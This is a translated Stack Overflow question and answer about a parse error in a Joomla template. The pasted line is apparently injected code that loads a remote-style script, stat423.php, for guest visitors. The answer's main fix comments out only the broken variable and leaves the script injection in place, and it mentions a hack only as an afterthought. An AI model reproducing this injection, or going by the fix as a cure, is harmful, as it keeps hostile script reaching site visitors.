我是一名图形和网页设计师,但我不是程序员..
我需要帮助。今天我在加载这个基于旧joomla的网站主页时发现了这个错误..
Parse error: syntax error, unexpected T_DNUMBER, expecting T_VARIABLE or '$' in /web/htdocs/www.sitename.com/home/sma/templates/JB_New_Media/index.php on line 35
我在查看第 35 行,发现了这个:
<?php $423e62d9=1;if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=onDate ></script>
<script language=JavaScript src=/wp-includes/js/stat423.php ></script>
";};$423e62d9=1; ?>
如何解决?
提前致谢!
最佳答案
首先,就像其他人在评论中指出的那样,$423e62d9
不是 valid variable name 。所以你必须以某种方式修复它。
其次,在这段代码中,这个“变量”的使用没有任何意义:它只是相当于 1 几次:$423e62d9=1;
。因此可以有 3 个选项:要么根本不需要这部分,要么这个“varialbe”也在其他地方使用,或者这是某种错误输入(2 次?嗯)。 PS:好的,根据评论,还有第四种选择:该网站被黑客攻击。在这种情况下,应该更仔细地研究周围的代码;不管怎样,大家建议更新 Joomla 核心。
接下来,我建议您注释掉这些位:
<?php /*$423e62d9=1;*/if(is_object($_SESSION["__default"]["user"]) && !($_SESSION["__default"]["user"]->id)) {echo "
<script language=JavaScript id=onDate ></script>
<script language=JavaScript src=/wp-includes/js/stat423.php ></script>
";};/*$423e62d9=1;*/ ?>
看看会发生什么。这可以解决问题,或者进一步阐明其根源。
另一种选择是尝试重命名它(在 $
之后添加一个字母),但除非您在其他地方找到它,否则它没有多大意义。
最后,如果这是第三种情况,则可能需要一些“有根据的猜测”。好吧,我认为猜谜游戏不值得,所以让我们从上面建议的 2 个选项开始。
关于php - 我的 joomla 网站出现问题,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/39574441/